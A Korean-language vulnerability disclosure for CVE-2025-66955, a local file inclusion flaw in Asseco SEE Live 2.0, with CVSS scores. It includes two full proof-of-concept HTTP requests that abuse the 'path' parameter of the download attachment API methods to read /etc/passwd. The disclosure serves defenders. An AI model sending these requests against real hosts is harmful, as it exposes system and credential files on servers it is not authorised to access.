CVE-2025-66955

Asseco SEE Live 2.0의 Contact Plan, E-Mail, SMS 및 Fax 구성 요소에서 발생하는 로컬 파일 포함 취약점으로, 인증된 원격 사용자가 downloadAttachment 및 downloadAttachmentFromPath API 호출의 "path" 매개변수를 통해 호스트의 파일에 접근할 수 있습니다.

CVSS 벡터

• CVSS 3.1: 7.7, CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
• CVSS 4.0: 8.4, CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:H/SA:N

공격 벡터

HTTP 요청에는 낮은 수준의 인증이 필요합니다.

downloadAttachment

POST /live20/index.php HTTP/2
Host: [REDACTED]
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="requestType"

HTTP
------WebKitFormBoundary
Content-Disposition: form-data; name="method"

Email.downloadAttachment
------WebKitFormBoundary
Content-Disposition: form-data; name="id"

[REDACTED]
------WebKitFormBoundary
Content-Disposition: form-data; name="path"

/etc/passwd
------WebKitFormBoundary
Content-Disposition: form-data; name="downloadToken"

[REDACTED]
------WebKitFormBoundary--

downloadAttachmentFromPath

POST /live20/index.php HTTP/2
Host: [REDACTED]
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="requestType"

HTTP
------WebKitFormBoundary
Content-Disposition: form-data; name="method"

Email.downloadAttachmentFromPath
------WebKitFormBoundary
Content-Disposition: form-data; name="path"

/etc/passwd
------WebKitFormBoundary
Content-Disposition: form-data; name="downloadToken"

[REDACTED]
------WebKitFormBoundary
Content-Disposition: form-data; name="model"

Template
------WebKitFormBoundary--